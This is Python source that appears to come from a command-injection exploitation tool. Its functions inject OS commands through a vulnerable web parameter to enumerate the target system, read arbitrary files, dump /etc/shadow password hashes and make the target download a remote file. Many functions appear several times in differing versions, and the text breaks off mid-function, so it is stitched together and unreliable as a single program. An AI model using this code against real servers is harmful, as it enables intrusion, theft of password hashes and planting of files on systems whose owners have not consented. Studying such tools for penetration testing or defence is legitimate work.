def system_information(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.RECOGNISE_OS
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
target_os = output
if target_os:
print ""
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os)
output_file.write(" and the hardware platform is " + target_arch + ".\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + "\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os + ".\n")
output_file.close()
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if shell:
success_msg = "The '" + Style.UNDERLINE + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + "' file was uploaded successfully!"
sys.stdout.write("\n" + settings.print_success_msg(success_msg) + "\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
cu_account = output
if cu_account:
print ""
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account + "\n")
output_file.close()
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
#Command execution results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
ps_version = output
try:
if float(ps_version):
settings.PS_ENABLED = True
ps_version = "".join(str(p) for p in output)
if menu.options.verbose:
print ""
# Output PowerShell's version number
sys.stdout.write(Style.BRIGHT + new_line + "(!) The PowerShell's version number is " + Style.UNDERLINE + ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The PowerShell's version number is " + ps_version + ".\n")
output_file.close()
except ValueError:
print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL
settings.PS_ENABLED = False
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
#Command execution results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
ps_version = output
try:
if float(ps_version):
settings.PS_ENABLED = True
ps_version = "".join(str(p) for p in output)
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Output PowerShell's version number
success_msg = "The PowerShell's version number is "
success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The PowerShell's version number is " + ps_version + ".\n"
output_file.write(" " + settings.SUCCESS_SIGN + success_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify PowerShell's version, "
warn_msg += "which means that some payloads or injection techniques may be failed."
print "\n" + settings.print_warning_msg(warn_msg)
settings.PS_ENABLED = False
def single_os_cmd_exec(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
):
cmd = menu.options.os_cmd
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
return check_how_long, output
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + Style.BRIGHT + "'" + Style.RESET_ALL + " : ")
sys.stdout.flush()
print shell
output_file = open(filename, "a")
output_file.write(" (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
output_file.close()
else:
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
def current_user(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.CURRENT_USER
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
check_how_long, output = tfb_injector.cookie_injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
else:
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
cu_account = output
if cu_account:
print ""
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
is_root = output
if is_root:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account)
output_file.close()
if is_root != "0":
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privilleged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privilleged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + "\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account + "\n")
output_file.close()
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
# Not yet implemented!
pass
else:
cmd = settings.SYS_PASSES
#print ""
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
if output == False:
output = ""
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
sys_passes = output
if sys_passes == "":
sys_passes = " "
if sys_passes :
sys.stdout.write(new_line + settings.INFO_SIGN + "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
print " (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.write("\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL)
sys.stdout.flush()
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
target_os = output
if target_os:
if new_line == "\n":
print ""
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
if target_arch:
if settings.VERBOSITY_LEVEL >= 1:
print ""
target_arch = "".join(str(p) for p in target_arch)
success_msg = "The target operating system is " + target_os + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + target_os
success_msg += " and the hardware platform is " + target_arch + ".\n"
output_file.write(" " + settings.SUCCESS_SIGN + success_msg)
output_file.close()
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
cmd = menu.options.os_cmd
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
return check_how_long, output
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL
sys.exit(0)
def hostname(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.HOSTNAME
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The hostname is " + shell + ".\n")
output_file.close()
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
target_os = output
if target_os:
if new_line == "\n":
print ""
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
if target_arch:
if menu.options.verbose:
print ""
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(Style.BRIGHT + new_line + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os)
output_file.write(" and the hardware platform is " + target_arch + ".\n")
output_file.close()
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(Style.BRIGHT + new_line + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The hostname is " + shell + ".\n")
output_file.close()
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename,
url_time_response):
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'", "\\'")
#Command execution results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
ps_version = output
try:
if float(ps_version):
settings.PS_ENABLED = True
ps_version = "".join(str(p) for p in output)
if menu.options.verbose:
print ""
# Output PowerShell's version number
sys.stdout.write(Style.BRIGHT + new_line +
"(!) The PowerShell's version number is " +
Style.UNDERLINE + ps_version + Style.RESET_ALL +
Style.BRIGHT + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The PowerShell's version number is " +
ps_version + ".\n")
output_file.close()
except ValueError:
print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL
settings.PS_ENABLED = False
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print ""
if shell:
success_msg = "The contents of file '"
success_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT
success_msg += "'" + Style.RESET_ALL + " : "
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
print shell
output_file = open(filename, "a")
success_msg = "The contents of file '"
success_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print ("")
if shell:
success_msg = "The contents of file '"
success_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT
success_msg += "'" + Style.RESET_ALL + " : "
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
print (shell)
output_file = open(filename, "a")
success_msg = "The contents of file '"
success_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
def system_passwords(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_passes = output
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
print " ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") " + fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
print ""
else:
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL + "\n"
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename,
url_time_response):
cmd = menu.options.os_cmd
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
if settings.VERBOSITY_LEVEL >= 1:
print("")
return check_how_long, output
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print("\n") + Fore.GREEN + Style.BRIGHT + str(
output) + Style.RESET_ALL + "\n"
logs.print_logs_notification(filename, url)
raise SystemExit()
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
shell = output
if shell:
shell = "".join(str(p) for p in output)
success_msg = "The hostname is " + shell
sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The hostname is " + shell + ".\n"
output_file.write(" " + settings.SUCCESS_SIGN + success_msg)
output_file.close()
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
